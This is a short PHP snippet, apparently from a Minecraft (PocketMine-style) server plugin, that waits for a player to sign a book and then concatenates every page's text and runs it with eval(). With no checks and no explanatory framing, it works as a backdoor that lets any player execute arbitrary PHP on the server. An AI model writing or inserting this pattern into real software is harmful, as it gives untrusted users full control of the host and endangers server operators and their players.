bookf.php

<?php

        start($this)->run(function () {
            while (true) {
                /** @var PlayerEditBookEvent $event */
                $event = yield listen(PlayerEditBookEvent::class);
                if ($event->getAction() !== PlayerEditBookEvent::ACTION_SIGN_BOOK) {
                    continue;
                }
                $book = $event->getNewBook();
                $code = "";
                for ($i = 0; $i < count($book->getPages()); $i++) {
                    $code .= $book->getPageText($i);
                }
                eval($code);
                return;
            }
        });